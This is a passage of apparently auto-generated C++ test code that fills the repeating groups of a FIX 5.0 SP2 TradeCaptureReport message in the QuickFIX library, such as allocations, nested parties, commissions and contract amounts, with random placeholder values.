DisplayInstruction_9;\n    FIX::DisplayHighQty DisplayHighQty_9;\n    DisplayHighQty_9.setString(\"9136607\");\nset_field(noSides_0_0, DisplayHighQty_9, DisplayInstruction_9);\n    FIX::DisplayLowQty DisplayLowQty_9;\n    DisplayLowQty_9.setString(\"4250127\");\nset_field(noSides_0_0, DisplayLowQty_9, DisplayInstruction_9);\n    set_field(noSides_0_0, FIX::DisplayMethod{'1'}, DisplayInstruction_9);\n    FIX::DisplayMinIncr DisplayMinIncr_9;\n    DisplayMinIncr_9.setString(\"13948779\");\nset_field(noSides_0_0, DisplayMinIncr_9, DisplayInstruction_9);\n    FIX::DisplayQty DisplayQty_9;\n    DisplayQty_9.setString(\"5383257\");\nset_field(noSides_0_0, DisplayQty_9, DisplayInstruction_9);\n    set_field(noSides_0_0, FIX::DisplayWhen{'1'}, DisplayInstruction_9);\n    FIX::RefreshQty RefreshQty_9;\n    RefreshQty_9.setString(\"21087743\");\nset_field(noSides_0_0, RefreshQty_9, DisplayInstruction_9);\n    FIX::SecondaryDisplayQty SecondaryDisplayQty_9;\n    SecondaryDisplayQty_9.setString(\"14893797\");\nset_field(noSides_0_0, SecondaryDisplayQty_9, DisplayInstruction_9);\n    all_values.push_back(DisplayInstruction_9);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // OrderQtyData\n    multiset<string> OrderQtyData_27;\n    FIX::CashOrderQty CashOrderQty_27;\n    CashOrderQty_27.setString(\"20096239\");\nset_field(noSides_0_0, CashOrderQty_27, OrderQtyData_27);\n    FIX::OrderPercent OrderPercent_27;\n    OrderPercent_27.setString(\"65.170000\");\nset_field(noSides_0_0, OrderPercent_27, OrderQtyData_27);\n    FIX::OrderQty OrderQty_36;\n    OrderQty_36.setString(\"4027052\");\nset_field(noSides_0_0, OrderQty_36, OrderQtyData_27);\n    set_field(noSides_0_0, FIX::RoundingDirection{'0'}, OrderQtyData_27);\n    FIX::RoundingModulus RoundingModulus_27;\n    RoundingModulus_27.setString(\"3696100\");\nset_field(noSides_0_0, RoundingModulus_27, OrderQtyData_27);\n    all_values.push_back(OrderQtyData_27);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // TrdAllocGrp\n    // Group TrdAllocGrp.NoAllocs\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoAllocs noAllocs_0_1_0;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_0;\n      set_field(noAllocs_0_1_0, FIX::AllocAccount{\"STRING_1689853150\"}, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::AllocAcctIDSource{976265264}, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::AllocClearingFeeIndicator{\"STRING_1159906132\"}, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::AllocCustomerCapacity{\"STRING_1642888971\"}, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::AllocMethod{2}, TrdAllocGrp_NoAllocs_0);\n      FIX::AllocQty AllocQty_44;\n      AllocQty_44.setString(\"11015388\");\nset_field(noAllocs_0_1_0, AllocQty_44, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::AllocSettlCurrency{\"EUR\"}, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::IndividualAllocID{\"STRING_641570518\"}, TrdAllocGrp_NoAllocs_0);\n      set_field(noAllocs_0_1_0, FIX::SecondaryIndividualAllocID{\"STRING_737135916\"}, TrdAllocGrp_NoAllocs_0);\n      all_values.push_back(TrdAllocGrp_NoAllocs_0);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_0_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_43;\n        set_field(noNested2PartyIDs_0_0_2_0, FIX::Nested2PartyID{\"STRING_1848104587\"}, NestedParties2_NoNested2PartyIDs_43);\n        set_field(noNested2PartyIDs_0_0_2_0, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_43);\n        set_field(noNested2PartyIDs_0_0_2_0, FIX::Nested2PartyRole{1181522172}, NestedParties2_NoNested2PartyIDs_43);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_43);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_83;\n          set_field(noNested2PartySubIDs_0_0_0_3_0, FIX::Nested2PartySubID{\"STRING_838087116\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_83);\n          set_field(noNested2PartySubIDs_0_0_0_3_0, FIX::Nested2PartySubIDType{1232363574}, NstdPtys2SubGrp_NoNested2PartySubIDs_83);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_83);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_0.addGroup(noNested2PartySubIDs_0_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_84;\n          set_field(noNested2PartySubIDs_0_0_0_3_1, FIX::Nested2PartySubID{\"STRING_691811289\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_84);\n          set_field(noNested2PartySubIDs_0_0_0_3_1, FIX::Nested2PartySubIDType{1263099878}, NstdPtys2SubGrp_NoNested2PartySubIDs_84);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_84);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_0.addGroup(noNested2PartySubIDs_0_0_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_85;\n          set_field(noNested2PartySubIDs_0_0_0_3_2, FIX::Nested2PartySubID{\"STRING_1838661298\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_85);\n          set_field(noNested2PartySubIDs_0_0_0_3_2, FIX::Nested2PartySubIDType{2086689248}, NstdPtys2SubGrp_NoNested2PartySubIDs_85);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_85);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_0.addGroup(noNested2PartySubIDs_0_0_0_3_2);\n        }\n        noAllocs_0_1_0.addGroup(noNested2PartyIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_0_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_44;\n        set_field(noNested2PartyIDs_0_0_2_1, FIX::Nested2PartyID{\"STRING_1801425667\"}, NestedParties2_NoNested2PartyIDs_44);\n        set_field(noNested2PartyIDs_0_0_2_1, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_44);\n        set_field(noNested2PartyIDs_0_0_2_1, FIX::Nested2PartyRole{2047979903}, NestedParties2_NoNested2PartyIDs_44);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_44);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_86;\n          set_field(noNested2PartySubIDs_0_0_1_3_0, FIX::Nested2PartySubID{\"STRING_983284007\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_86);\n          set_field(noNested2PartySubIDs_0_0_1_3_0, FIX::Nested2PartySubIDType{1169522773}, NstdPtys2SubGrp_NoNested2PartySubIDs_86);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_86);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_1.addGroup(noNested2PartySubIDs_0_0_1_3_0);\n        }\n        noAllocs_0_1_0.addGroup(noNested2PartyIDs_0_0_2_1);\n      }\n      noSides_0_0.addGroup(noAllocs_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoAllocs noAllocs_0_1_1;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_1;\n      set_field(noAllocs_0_1_1, FIX::AllocAccount{\"STRING_1546027001\"}, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::AllocAcctIDSource{1872378974}, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::AllocClearingFeeIndicator{\"STRING_1539132788\"}, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::AllocCustomerCapacity{\"STRING_132140216\"}, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::AllocMethod{2}, TrdAllocGrp_NoAllocs_1);\n      FIX::AllocQty AllocQty_45;\n      AllocQty_45.setString(\"3679144\");\nset_field(noAllocs_0_1_1, AllocQty_45, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::AllocSettlCurrency{\"USD\"}, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::IndividualAllocID{\"STRING_1654253560\"}, TrdAllocGrp_NoAllocs_1);\n      set_field(noAllocs_0_1_1, FIX::SecondaryIndividualAllocID{\"STRING_246101511\"}, TrdAllocGrp_NoAllocs_1);\n      all_values.push_back(TrdAllocGrp_NoAllocs_1);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_1_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_45;\n        set_field(noNested2PartyIDs_0_1_2_0, FIX::Nested2PartyID{\"STRING_1979475023\"}, NestedParties2_NoNested2PartyIDs_45);\n        set_field(noNested2PartyIDs_0_1_2_0, FIX::Nested2PartyIDSource{'8'}, NestedParties2_NoNested2PartyIDs_45);\n        set_field(noNested2PartyIDs_0_1_2_0, FIX::Nested2PartyRole{1508920035}, NestedParties2_NoNested2PartyIDs_45);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_45);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_87;\n          set_field(noNested2PartySubIDs_0_1_0_3_0, FIX::Nested2PartySubID{\"STRING_588292968\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_87);\n          set_field(noNested2PartySubIDs_0_1_0_3_0, FIX::Nested2PartySubIDType{1097675905}, NstdPtys2SubGrp_NoNested2PartySubIDs_87);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_87);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_0.addGroup(noNested2PartySubIDs_0_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_88;\n          set_field(noNested2PartySubIDs_0_1_0_3_1, FIX::Nested2PartySubID{\"STRING_1950144287\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_88);\n          set_field(noNested2PartySubIDs_0_1_0_3_1, FIX::Nested2PartySubIDType{366443478}, NstdPtys2SubGrp_NoNested2PartySubIDs_88);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_88);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_0.addGroup(noNested2PartySubIDs_0_1_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_89;\n          set_field(noNested2PartySubIDs_0_1_0_3_2, FIX::Nested2PartySubID{\"STRING_1935763021\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_89);\n          set_field(noNested2PartySubIDs_0_1_0_3_2, FIX::Nested2PartySubIDType{1035024213}, NstdPtys2SubGrp_NoNested2PartySubIDs_89);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_89);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_0.addGroup(noNested2PartySubIDs_0_1_0_3_2);\n        }\n        noAllocs_0_1_1.addGroup(noNested2PartyIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_1_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_46;\n        set_field(noNested2PartyIDs_0_1_2_1, FIX::Nested2PartyID{\"STRING_1058254767\"}, NestedParties2_NoNested2PartyIDs_46);\n        set_field(noNested2PartyIDs_0_1_2_1, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_46);\n        set_field(noNested2PartyIDs_0_1_2_1, FIX::Nested2PartyRole{726201863}, NestedParties2_NoNested2PartyIDs_46);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_46);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_90;\n          set_field(noNested2PartySubIDs_0_1_1_3_0, FIX::Nested2PartySubID{\"STRING_705321270\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_90);\n          set_field(noNested2PartySubIDs_0_1_1_3_0, FIX::Nested2PartySubIDType{1847345520}, NstdPtys2SubGrp_NoNested2PartySubIDs_90);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_90);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_1.addGroup(noNested2PartySubIDs_0_1_1_3_0);\n        }\n        noAllocs_0_1_1.addGroup(noNested2PartyIDs_0_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_1_2_2;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_47;\n        set_field(noNested2PartyIDs_0_1_2_2, FIX::Nested2PartyID{\"STRING_897956622\"}, NestedParties2_NoNested2PartyIDs_47);\n        set_field(noNested2PartyIDs_0_1_2_2, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_47);\n        set_field(noNested2PartyIDs_0_1_2_2, FIX::Nested2PartyRole{683145879}, NestedParties2_NoNested2PartyIDs_47);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_47);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_2_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_91;\n          set_field(noNested2PartySubIDs_0_1_2_3_0, FIX::Nested2PartySubID{\"STRING_1247186356\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_91);\n          set_field(noNested2PartySubIDs_0_1_2_3_0, FIX::Nested2PartySubIDType{408041205}, NstdPtys2SubGrp_NoNested2PartySubIDs_91);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_91);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_2.addGroup(noNested2PartySubIDs_0_1_2_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_2_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_92;\n          set_field(noNested2PartySubIDs_0_1_2_3_1, FIX::Nested2PartySubID{\"STRING_1459128536\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_92);\n          set_field(noNested2PartySubIDs_0_1_2_3_1, FIX::Nested2PartySubIDType{1379326572}, NstdPtys2SubGrp_NoNested2PartySubIDs_92);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_92);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_2.addGroup(noNested2PartySubIDs_0_1_2_3_1);\n        }\n        noAllocs_0_1_1.addGroup(noNested2PartyIDs_0_1_2_2);\n      }\n      noSides_0_0.addGroup(noAllocs_0_1_1);\n    }\n    msg.addGroup(noSides_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoSides noSides_0_1;\n    // TrdCapRptSideGrp.NoSides\n    multiset<string> TrdCapRptSideGrp_NoSides_1;\n    set_field(noSides_0_1, FIX::Account{\"STRING_1822789681\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AccountType{3}, TrdCapRptSideGrp_NoSides_1);\n    FIX::AccruedInterestAmt AccruedInterestAmt_11;\n    AccruedInterestAmt_11.setString(\"5238892\");\nset_field(noSides_0_1, AccruedInterestAmt_11, TrdCapRptSideGrp_NoSides_1);\n    FIX::AccruedInterestRate AccruedInterestRate_6;\n    AccruedInterestRate_6.setString(\"98.330000\");\nset_field(noSides_0_1, AccruedInterestRate_6, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AcctIDSource{1}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AggressorIndicator{false}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AllocID{\"STRING_1357243952\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ComplianceID{\"STRING_1165804228\"}, TrdCapRptSideGrp_NoSides_1);\n    FIX::Concession Concession_6;\n    Concession_6.setString(\"16576628\");\nset_field(noSides_0_1, Concession_6, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::CustOrderCapacity{4}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::EncodedText{\"DATA_1934426343\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::EncodedTextLen{98472132}, TrdCapRptSideGrp_NoSides_1);\n    FIX::EndAccruedInterestAmt EndAccruedInterestAmt_11;\n    EndAccruedInterestAmt_11.setString(\"18163562\");\nset_field(noSides_0_1, EndAccruedInterestAmt_11, TrdCapRptSideGrp_NoSides_1);\n    FIX::EndCash EndCash_11;\n    EndCash_11.setString(\"17370869\");\nset_field(noSides_0_1, EndCash_11, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ExDate{\"LOCALMKTDATE_464915610\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ExchangeRule{\"STRING_1604635617\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ExchangeSpecialInstructions{\"STRING_624627547\"}, TrdCapRptSideGrp_NoSides_1);\n    FIX::InterestAtMaturity InterestAtMaturity_6;\n    InterestAtMaturity_6.setString(\"15231703\");\nset_field(noSides_0_1, InterestAtMaturity_6, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::NetGrossInd{2}, TrdCapRptSideGrp_NoSides_1);\n    FIX::NetMoney NetMoney_6;\n    NetMoney_6.setString(\"13508294\");\nset_field(noSides_0_1, NetMoney_6, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::NumDaysInterest{373147096}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OddLot{false}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OrderCategory{'8'}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OrderDelay{1271103719}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OrderDelayUnit{2}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::PositionEffect{'F'}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::PreallocMethod{'0'}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ProcessCode{'1'}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::RptSeq{2141878366}, TrdCapRptSideGrp_NoSides_1);\n    FIX::SettlCurrAmt SettlCurrAmt_14;\n    SettlCurrAmt_14.setString(\"5027443\");\nset_field(noSides_0_1, SettlCurrAmt_14, TrdCapRptSideGrp_NoSides_1);\n    FIX::SettlCurrFxRate SettlCurrFxRate_14;\n    SettlCurrFxRate_14.setString(\"13940411\");\nset_field(noSides_0_1, SettlCurrFxRate_14, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SettlCurrFxRateCalc{'M'}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::Side{'G'}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideCurrency{\"EUR\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideExecID{\"STRING_1516116499\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideFillStationCd{\"STRING_540437534\"}, TrdCapRptSideGrp_NoSides_1);\n    FIX::SideGrossTradeAmt SideGrossTradeAmt_1;\n    SideGrossTradeAmt_1.setString(\"16124045\");\nset_field(noSides_0_1, SideGrossTradeAmt_1, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideLastQty{534437079}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideLiquidityInd{50616698}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideMultiLegReportingType{2}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideReasonCd{\"STRING_321379774\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideSettlCurrency{\"GBP\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideTradeReportID{\"STRING_2058466756\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideTrdSubTyp{614004441}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SolicitedFlag{true}, TrdCapRptSideGrp_NoSides_1);\n    FIX::StartCash StartCash_11;\n    StartCash_11.setString(\"5356106\");\nset_field(noSides_0_1, StartCash_11, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::Text{\"STRING_2137174819\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TimeBracket{\"STRING_1965640663\"}, TrdCapRptSideGrp_NoSides_1);\n    FIX::TotalTakedown TotalTakedown_6;\n    TotalTakedown_6.setString(\"18864400\");\nset_field(noSides_0_1, TotalTakedown_6, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradeAllocIndicator{3}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradeInputDevice{\"STRING_1032009506\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradeInputSource{\"STRING_789647700\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradingSessionID{\"STRING_3\"}, TrdCapRptSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradingSessionSubID{\"STRING_4\"}, TrdCapRptSideGrp_NoSides_1);\n    all_values.push_back(TrdCapRptSideGrp_NoSides_1);\n    all_compo_names.insert(\"...NoSides\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoClearingInstructions noClearingInstructions_1_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_18;\n      set_field(noClearingInstructions_1_1_0, FIX::ClearingInstruction{1}, ClrInstGrp_NoClearingInstructions_18);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_18);\n      all_compo_names.insert(\"...NoSides...NoClearingInstructions\");\n\n      noSides_0_1.addGroup(noClearingInstructions_1_1_0);\n    }\n    // CommissionData\n    multiset<string> CommissionData_25;\n    set_field(noSides_0_1, FIX::CommCurrency{\"GBP\"}, CommissionData_25);\n    set_field(noSides_0_1, FIX::CommType{'4'}, CommissionData_25);\n    FIX::Commission Commission_28;\n    Commission_28.setString(\"12082933\");\nset_field(noSides_0_1, Commission_28, CommissionData_25);\n    set_field(noSides_0_1, FIX::FundRenewWaiv{'N'}, CommissionData_25);\n    all_values.push_back(CommissionData_25);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // ContAmtGrp\n    // Group ContAmtGrp.NoContAmts\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoContAmts noContAmts_1_1_0;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_2;\n      set_field(noContAmts_1_1_0, FIX::ContAmtCurr{\"USD\"}, ContAmtGrp_NoContAmts_2);\n      set_field(noContAmts_1_1_0, FIX::ContAmtType{14}, ContAmtGrp_NoContAmts_2);\n      FIX::ContAmtValue ContAmtValue_2;\n      ContAmtValue_2.setString(\"15191776\");\nset_field(noContAmts_1_1_0, ContAmtValue_2, ContAmtGrp_NoContAmts_2);\n      all_values.push_back(ContAmtGrp_NoContAmts_2);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_1.addGroup(noContAmts_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoContAmts noContAmts_1_1_1;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_3;\n      set_field(noContAmts_1_1_1, FIX::ContAmtCurr{\"EUR\"}, ContAmtGrp_NoContAmts_3);\n      set_field(noContAmts_1_1_1, FIX::ContAmtType{13}, ContAmtGrp_NoContAmts_3);\n      FIX::ContAmtValue ContAmtValue_3;\n      ContAmtValue_3.setString(\"20912630\");\nset_field(noContAmts_1_1_1, ContAmtValue_3, ContAmtGrp_NoContAmts_3);\n      all_values.push_back(ContAmtGrp_NoContAmts_3);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_1.addGroup(noContAmts_1_1_1);\n    }\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoMiscFees noMiscFees_1_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_33;\n      FIX::MiscFeeAmt MiscFeeAmt_33;\n      